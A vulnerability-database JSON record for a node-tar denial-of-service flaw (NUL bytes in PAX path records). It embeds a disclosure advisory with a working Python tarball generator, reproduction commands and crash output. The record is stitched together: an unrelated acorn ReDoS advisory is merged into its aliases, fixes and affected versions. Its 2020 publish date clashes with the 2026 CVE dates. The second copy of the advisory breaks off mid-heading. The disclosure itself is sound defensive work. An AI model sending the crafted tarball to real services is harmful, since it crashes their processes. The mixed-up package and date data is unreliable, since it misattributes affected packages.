{"id":"CVE-2026-59875","aliases":["CLSA-2026-1780620684","CLSA-2026-1780620685","CLSA-2026-1784596283","CLSA-2026-1787823889","CLSA-2026-1792074268","CLSA-2026-1792074305","CLSA-2026-1793101936","CLSA-2026-1793102032","CLSA-2026-1793307830","DEBIAN-CVE-2026-59875","EUVD-2026-42303","GHSA-6chw-6frg-f759","GHSA-gr4j-r575-g665","GHSA-gvwx-54wh-qm9j","GHSA-r292-9mhp-454m","ROOT-APP-NPM-CVE-2026-59875","UBUNTU-CVE-2026-59875"],"status":"published","title":"node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.17, node-tar does not strip NUL bytes from PAX path and linkpath records in src/pax.ts, allowing a crafted archive with values to reach fs.lstat or fs.open and terminate the process with an uncaught exception. This issue is fixed in version 7.5.17.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00354,"percentile":0.29434,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-248","CWE-400"],"published":"2020-04-03T21:48:38Z","modified":"2026-10-30T19:45:55Z","fixes":[{"ecosystem":"npm","package":"acorn","fixed_in":["6.4.1","7.1.1","5.7.4"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"tar","fixed_in":["7.5.17"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"acorn","fixed_in":["6.0.4-tuxcare.1","6.2.0-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-tar","fixed_in":["7.5.19+~4.0.1-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"tar","fixed_in":["7.5.11-aikido.4","7.4.3-aikido.12"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/tar","fixed_in":["7.5.11-root.io.4","7.4.3-root.io.12"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"acorn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"6.4.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"acorn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0"},{"fixed":"7.1.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"acorn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.5.0"},{"fixed":"5.7.4"}]}]},{"source":"ghsa","ecosystem":"npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"7.5.16"},{"fixed":"7.5.17"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"acorn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.4-tuxcare.0"},{"fixed":"6.0.4-tuxcare.1"}]}],"versions":["6.0.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"acorn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.0-tuxcare.0"},{"fixed":"6.2.0-tuxcare.1"}]}],"versions":["6.2.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.1-tuxcare.0"},{"fixed":"6.2.1-tuxcare.4"}]}],"versions":["6.2.1","6.2.1-tuxcare.1","6.2.1-tuxcare.2","6.2.1-tuxcare.3"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.0-tuxcare.0"},{"fixed":"6.2.0-tuxcare.5"}]}],"versions":["6.2.0","6.2.0-tuxcare.1","6.2.0-tuxcare.2","6.2.0-tuxcare.3","6.2.0-tuxcare.4"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2-tuxcare.0"},{"fixed":"6.0.2-tuxcare.6"}]}],"versions":["6.0.2","6.0.2-tuxcare.1","6.0.2-tuxcare.2","6.0.2-tuxcare.3","6.0.2-tuxcare.4","6.0.2-tuxcare.5"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.1.0-tuxcare.0"},{"fixed":"6.1.0-tuxcare.3"}]}],"versions":["6.1.0","6.1.0-tuxcare.1","6.1.0-tuxcare.2"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.1.6-tuxcare.0"},{"fixed":"6.1.6-tuxcare.2"}]}],"versions":["6.1.6","6.1.6-tuxcare.1"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.19-tuxcare.0"},{"fixed":"4.4.19-tuxcare.5"}]}],"versions":["4.4.19","4.4.19-tuxcare.1","4.4.19-tuxcare.2","4.4.19-tuxcare.3","4.4.19-tuxcare.4"],"bundled":10},{"source":"osv","ecosystem":"Debian:12","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.13+~cs7.0.5-1","6.1.13+~cs7.0.5-1+deb12u1","6.1.13+~cs7.0.5-2","6.1.13+~cs7.0.5-3","6.1.13+~cs7.0.5-4","6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","6.2.1+~cs7.0.8-1+deb13u1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.5.19+~4.0.1-1"}]}],"versions":["6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2"]},{"source":"osv","ecosystem":"npm","package":"acorn","ranges":[{"type":"SEMVER","events":[{"introduced":"5.5.0"},{"fixed":"5.7.4"}]}]},{"source":"osv","ecosystem":"npm","package":"acorn","ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0"},{"fixed":"6.4.1"}]}]},{"source":"osv","ecosystem":"npm","package":"acorn","ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.1.1"}]}]},{"source":"osv","ecosystem":"npm","package":"tar","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.5.17"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.5.11-aikido.4"},{"fixed":"7.4.3-aikido.12"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.5.11-root.io.4"},{"fixed":"7.4.3-root.io.12"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.18-1","0.1.18-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.3-2","1.0.3-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.4.10+ds1-2","4.4.10+ds1-2ubuntu1","4.4.10+ds1-2ubuntu1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.7+~cs11.3.10-1","6.1.11+~cs11.3.10-1","6.1.11+ds1+~cs6.0.6-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.13+~cs7.0.5-1","6.1.13+~cs7.0.5-3"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+~cs7.0.8-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-10","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+~cs7.0.8-1","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-10"]}],"products":[{"vendor":"isaacs","product":"node-tar"}],"references":[{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/isaacs/node-tar/releases/tag/v7.5.17","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/acornjs/acorn/issues/929","tags":["web"]},{"url":"https://github.com/acornjs/acorn/commit/793c0e569ed1158672e3a40aeed1d8518832b802","tags":["web"]},{"url":"https://snyk.io/vuln/SNYK-JS-ACORN-559469","tags":["web"]},{"url":"https://www.npmjs.com/advisories/1488","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6chw-6frg-f759"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59875","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gvwx-54wh-qm9j"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59875.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-59875","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-59875","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59875","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-59875","title":"node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.17, node-tar does not strip NUL bytes from PAX path and linkpath records in src/pax.ts, allowing a crafted archive with values to reach fs.lstat or fs.open and terminate the process with an uncaught exception. This issue is fixed in version 7.5.17.","status":"published","published":"2026-07-08T15:20:29.997Z","modified":"2026-07-09T13:45:44.16Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:19:58.560602Z"}],"euvd":[{"id":"EUVD-2026-42303","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.17, node-tar does not strip NUL bytes from PAX path and linkpath records in src/pax.ts, allowing a crafted archive with values to reach fs.lstat or fs.open and terminate the process with an uncaught exception. This issue is fixed in version 7.5.17.","status":"published","published":"2026-07-08T15:20:29Z","modified":"2026-07-09T13:45:44Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T18:20:04.523855Z"}],"ghsa":[{"id":"GHSA-6chw-6frg-f759","title":"Regular Expression Denial of Service in Acorn","description":"Affected versions of acorn are vulnerable to Regular Expression Denial of Service.\nA regex in the form of /[x-\\ud800]/u causes the parser to enter an infinite loop.\nThe string is not valid UTF16 which usually results in it being sanitized before reaching the parser.\nIf an application processes untrusted input and passes it directly to acorn,\nattackers may leverage the vulnerability leading to Denial of Service.","status":"published","published":"2020-04-03T21:48:38Z","modified":"2023-01-09T05:02:14Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:36:03.040255Z"},{"id":"GHSA-gvwx-54wh-qm9j","title":"node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records","description":"## Summary\n\n`node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer's `await/try-catch` around `tar.x()` — it surfaces as `uncaughtException` and terminates the process.\n\nThis is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern.\n\nA secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.\n\n---\n\n## Root cause\n\n### Vulnerable sink — `src/pax.ts:157-183`\n\nPAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes:\n\n```ts\n// src/pax.ts:157\nconst parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n  const n = parseInt(line, 10)\n  if (n !== Buffer.byteLength(line) + 1) return set\n  line = line.slice((n + ' ').length)\n  const kv = line.split('=')\n  const r = kv.shift()\n  if (!r) return set\n  const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, '$1')\n  const v = kv.join('=')                                 // \u003c-- NO NUL STRIP\n  set[k] =\n    /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n      new Date(Number(v) * 1000)\n    : /^[0-9]+$/.test(v) ? +v\n    : v                                                  // \u003c-- v with NULs lands here\n  return set\n}\n```\n\nThe PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between `=` and `\\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`.\n\n### Correctly-patched cousin sink — `src/parse.ts:375-388`\n\nThe equivalent code path for GNU L/K long-headers **does** strip NUL bytes:\n\n```ts\n// src/parse.ts:375\ncase 'NextFileHasLongPath':\ncase 'OldGnuLongPath': {\n  const ex = this[EX] ?? Object.create(null)\n  this[EX] = ex\n  ex.path = this[META].replace(/\\0.*/, '')               // \u003c-- NUL strip applied\n  break\n}\ncase 'NextFileHasLongLinkpath': {\n  const ex = this[EX] || Object.create(null)\n  this[EX] = ex\n  ex.linkpath = this[META].replace(/\\0.*/, '')           // \u003c-- NUL strip applied\n  break\n}\n```\n\nThe `parse.ts` fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard.\n\n### Downstream blast radius\n\n`entry.path` and `entry.linkpath` are consumed in:\n- `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir`\n- `src/list.ts` (no crash — listing tolerates NUL in strings)\n- Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path`\n\nThe crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user's `await tar.x(...)` Promise rejection boundary.\n\n---\n\n## Proof of Concept\n\n### Artifacts\n- `poc-null-byte-crash.tar` — 3072 bytes — PAX `path=visible.txt\\x00hidden.txt`\n- `poc-null-linkpath-crash.tar` — 2560 bytes — PAX `linkpath=target\\x00garbage` (symlink target sink)\n- `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps)\n\n### Tarball generator (minimal repro — Python 3)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PAX-NUL-injection tarball generator for node-tar PoC.\"\"\"\nimport os\n\ndef cksum(b):\n    s = 0\n    for i, x in enumerate(b):\n        s += 0x20 if 148 \u003c= i \u003c 156 else x\n    return s\n\ndef pad512(buf):\n    rem = len(buf) % 512\n    return buf + b'\\0' * (512 - rem) if rem else buf\n\ndef hdr(name, size, typeflag, prefix=b'', linkpath=b''):\n    b = bytearray(512)\n    b[0:len(name[:100])] = name[:100]\n    b[100:108] = b'0000644\\0'\n    b[108:116] = b'0001000\\0'\n    b[116:124] = b'0001000\\0'\n    b[124:136] = ('%011o ' % size).encode()\n    b[136:148] = ('%011o ' % 0).encode()\n    b[148:156] = b'        '\n    b[156:157] = typeflag\n    b[157:157+len(linkpath[:100])] = linkpath[:100]\n    b[257:265] = b'ustar\\x0000'\n    b[265:270] = b'root\\0'\n    b[297:302] = b'root\\0'\n    b[329:337] = b'0000000\\0'\n    b[337:345] = b'0000000\\0'\n    b[345:345+len(prefix[:155])] = prefix[:155]\n    s = cksum(b)\n    b[148:156] = ('%06o\\0 ' % s).encode()\n    return bytes(b)\n\ndef pax(records):\n    body = b''\n    for k, v in records:\n        kv = b' ' + k + b'=' + v + b'\\n'\n        for digits in range(1, 8):\n            total = digits + len(kv)\n            if len(str(total)) == digits:\n                break\n        body += str(total).encode() + kv\n    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)\n\nout  = pax([(b'path', b'visible.txt\\x00hidden.txt')])  # NUL in PAX path\nout += hdr(b'placeholder', 1, b'0')\nout += pad512(b'A')\nout += b'\\0' * 1024  # end-of-archive\n\nopen('poc.tar', 'wb').write(out)\n```\n\n### Reproduction\n\n```bash\n# 1. Generate tarball\npython3 poc1-pax-prefix.py          # writes poc.tar (3 KB)\n\n# 2. Install vulnerable version\nmkdir repro \u0026\u0026 cd repro\nnpm init -y \u0026\u0026 npm install tar@7.5.16\n\n# 3. Try to extract with documented try/catch — observe uncaught exception\nmkdir -p ./out\nnode --input-type=module -e '\n  process.on(\"uncaughtException\", e =\u003e {\n    console.log(\"UNCAUGHT:\", e.code, \"-\", e.message);\n    process.exit(99);\n  });\n  import(\"tar\").then(async tar =\u003e {\n    try {\n      await tar.x({ file: \"../poc.tar\", cwd: \"./out\" });\n      console.log(\"NORMAL_RETURN\");\n    } catch (e) {\n      console.log(\"CAUGHT_BY_USER:\", e.code);\n    }\n  });'\n```\n\n### Observed output (verified 2026-06-23 against `tar@7.5.16`)\n\n```\nUNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,\nUint8Array, or URL without null bytes.\nReceived '/.../out/visible.txt\\x00hidden.txt'\nexit: 99\n```\n\nThe exception bypasses the user's `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits.\n\n---\n\n## Impact\n\n### Direct: remote DoS\n\nAny service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:\n\n- npm registry tarball ingestion and downstream mirrors\n- GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains)\n- Container image build pipelines that unpack layer tarballs through node tooling\n- Backup-restore services accepting user uploads\n- CI artifact processors and badge generators\n- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs\n- Cloud functions that auto-extract uploaded archives\n\nA correctly-coded consumer that does:\n\n```js\ntry {\n  await tar.x({ file: req.upload.path, cwd: tmpdir });\n} catch (e) {\n  return res.status(400).json({ error: 'bad archive' });\n}\n```\n\ndoes not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.\n\n### Secondary: parser-differential validator bypass (CWE-436)\n\n| Tool                       | Result for `path=visible.txt\\x00hidden.txt` |\n|----------------------------|----------------------------------------------|\n| GNU tar (`tar -tvf`)       | Lists `visible.txt` (truncated at NUL)      |\n| `bsdtar -tvf`              | Lists `visible.txt` (truncated at NUL)      |\n| Python `tarfile.list()`    | Lists `visible.txt\\x00hidden.txt` (raw)     |\n| node-tar `tar.t({file})`   | Emits raw NUL-bearing path (no crash)       |\n| node-tar `tar.x({file})`   | **Crashes** (uncaught throw)                |\n\nA pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.\n\n---\n\n## Suggested patch\n\nMatch the long-name handler in `parse.ts` — strip everything from the first NUL onward in `parseKVLine` value parsing:\n\n```diff\n--- a/src/pax.ts\n+++ b/src/pax.ts\n@@ -173,7 +173,7 @@ const parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n\n   const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, '$1')\n\n-  const v = kv.join('=')\n+  const v = kv.join('=').replace(/\\0.*$/, '')\n   set[k] =\n     /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n       new Date(Number(v) * 1000)\n```\n\nThis matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change.\n\nA defense-in-depth follow-up: add an explicit `assert(!v.includes('\\0'))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren't* path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL).","status":"published","published":"2026-07-20T21:51:12Z","modified":"2026-07-20T21:51:12Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:40:48.410776Z"}],"nvd":[{"id":"CVE-2026-59875","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.17, node-tar does not strip NUL bytes from PAX path and linkpath records in src/pax.ts, allowing a crafted archive with values to reach fs.lstat or fs.open and terminate the process with an uncaught exception. This issue is fixed in version 7.5.17.","status":"published","published":"2026-07-08T16:16:34.107Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T14:12:28.040501Z"}],"osv":[{"id":"CVE-2026-59875","title":"node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.17, node-tar does not strip NUL bytes from PAX path and linkpath records in src/pax.ts, allowing a crafted archive with values to reach fs.lstat or fs.open and terminate the process with an uncaught exception. This issue is fixed in version 7.5.17.","status":"published","published":"2026-07-08T15:20:29.997Z","modified":"2026-10-28T02:31:13.143551697Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"DEBIAN-CVE-2026-59875","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.17, node-tar does not strip NUL bytes from PAX path and linkpath records in src/pax.ts, allowing a crafted archive with values to reach fs.lstat or fs.open and terminate the process with an uncaught exception. This issue is fixed in version 7.5.17.","status":"published","published":"2026-07-08T16:16:34.107Z","modified":"2026-10-26T11:47:30.136688055Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-6chw-6frg-f759","title":"Regular Expression Denial of Service in Acorn","description":"Affected versions of acorn are vulnerable to Regular Expression Denial of Service.\nA regex in the form of /[x-\\ud800]/u causes the parser to enter an infinite loop.\nThe string is not valid UTF16 which usually results in it being sanitized before reaching the parser.\nIf an application processes untrusted input and passes it directly to acorn,\nattackers may leverage the vulnerability leading to Denial of Service.","status":"published","published":"2020-04-03T21:48:38Z","modified":"2021-08-23T15:10:32Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:39.618611Z"},{"id":"GHSA-gvwx-54wh-qm9j","title":"node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records","description":"## Summary\n\n`node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer's `await/try-catch` around `tar.x()` — it surfaces as `uncaughtException` and terminates the process.\n\nThis is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern.\n\nA secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.\n\n---\n\n## Root cause\n\n### Vulnerable sink — `src/pax.ts:157-183`\n\nPAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes:\n\n```ts\n// src/pax.ts:157\nconst parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n  const n = parseInt(line, 10)\n  if (n !== Buffer.byteLength(line) + 1) return set\n  line = line.slice((n + ' ').length)\n  const kv = line.split('=')\n  const r = kv.shift()\n  if (!r) return set\n  const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, '$1')\n  const v = kv.join('=')                                 // \u003c-- NO NUL STRIP\n  set[k] =\n    /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n      new Date(Number(v) * 1000)\n    : /^[0-9]+$/.test(v) ? +v\n    : v                                                  // \u003c-- v with NULs lands here\n  return set\n}\n```\n\nThe PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between `=` and `\\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`.\n\n### Correctly-patched cousin sink — `src/parse.ts:375-388`\n\nThe equivalent code path for GNU L/K long-headers **does** strip NUL bytes:\n\n```ts\n// src/parse.ts:375\ncase 'NextFileHasLongPath':\ncase 'OldGnuLongPath': {\n  const ex = this[EX] ?? Object.create(null)\n  this[EX] = ex\n  ex.path = this[META].replace(/\\0.*/, '')               // \u003c-- NUL strip applied\n  break\n}\ncase 'NextFileHasLongLinkpath': {\n  const ex = this[EX] || Object.create(null)\n  this[EX] = ex\n  ex.linkpath = this[META].replace(/\\0.*/, '')           // \u003c-- NUL strip applied\n  break\n}\n```\n\nThe `parse.ts` fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard.\n\n### Downstream blast radius\n\n`entry.path` and `entry.linkpath` are consumed in:\n- `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir`\n- `src/list.ts` (no crash — listing tolerates NUL in strings)\n- Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path`\n\nThe crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user's `await tar.x(...)` Promise rejection boundary.\n\n---\n\n## Proof of 